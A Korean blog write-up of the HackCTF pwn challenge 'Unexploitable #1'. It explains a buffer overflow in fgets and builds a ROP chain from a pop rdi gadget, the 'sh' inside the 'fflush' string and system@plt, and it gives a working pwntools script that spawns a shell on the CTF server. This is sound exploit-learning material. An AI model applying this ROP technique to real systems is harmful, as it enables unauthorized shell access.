wargame/HackCTF

[HackCTF] Unexploitable #1 | write up

$1m0hYa 2019. 9. 1. 21:18

이번에는 HackCTF 사이트에 있는 Unexploitable #1 문제를 풀어보겠습니다.

 

크으으.. 출제자 st4nw.. 저희 학교 선배이십니다!

저의 지식의 원천인 st4nw선배

 

쨋든 이제 본론으로 넘어가서

표층분석을 시작해볼게요..!

 

64비트에다 NX만 걸려있네요.

그럼 바로 ida로 분석해보겠습니다.

 

이건 main함수 입니다.

여기서 취약점이 바로 보이네요!

 

fgets( ) 부분에서 bof가 터집니다

간단한 ROP를 이용하면 풀수 있는 문제로 보이지만, 사실은 불가능 합니다!

 

"그러면 어떻게하나요?ㅠㅠ"

 

걱정 마십쇼! 다 방법이 있습니다!

 

 

저는 아주 간단하게 풀었습니다. (일종의 트릭을 이용했죠!)

 

제가 사용한것은 문자열 안에 있던 "sh" 와 gift( )함수 안에 있던 system( ) 함수를 이용했습니다.

 

shift + f12를 이용해 문자열을 한번 볼까요?

흠.... 여기서는 sh라는 문자열이 보이지 않군요..

 

그런데.. 있습니다!

바로 이곳이죠!

 

fflush( ) 함수가 문자열로 포함되어 있는데 fflush 마지막에 sh가 붙어 있습니다.

이것의 주소를 잘 핸들링해서 주소가 딱 -> "sh" 만 가리키도록 하면 sh를 사용할수 있습니다.

 

fflush( ) 함수의 주소는 0x4003bb이고 이 주소는 -> "fflush" 를 가리키게 됩니다.

그런데 0x4003bb의 주소에서 4를 더해주게 된다면 -> "sh" 를 가리키게 되지요!

 

크으으.. 이런 혁신적인 방법이 있다니.. 놀랍군뇨

 

이제 ROPgadget을 이용해 pop rdi 의 주소를 가져와 줍시다.

 

지금까지 사용할수 있는 정보를 보겠습니다.

 

--- sh의 주소 : 0x4003bf

--- system( )의 주소 : 0x400560

--- pop rdi 의 주소 : 0x4007d3

--- 변수 s 의 크기 : 0x10

 

이것들을 이용해 페이로드를 짜보겠습니다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
 
= remote('ctf.j0n9hyun.xyz'3023)
= ELF('./Unexploitable_1')
 
system_plt = e.plt['system']
 
sh = 0x0000000004003Bf
 
prdi = 0x00000000004007d3
 
p.recv()
 
pay = 'a' * 24
pay += p64(prdi)
pay += p64(sh)
pay += p64(system_plt)
 
p.sendline(pay)
 
p.interactive()
cs

 

자 실행시켜볼까요?

깔쌈하게 CLEAR!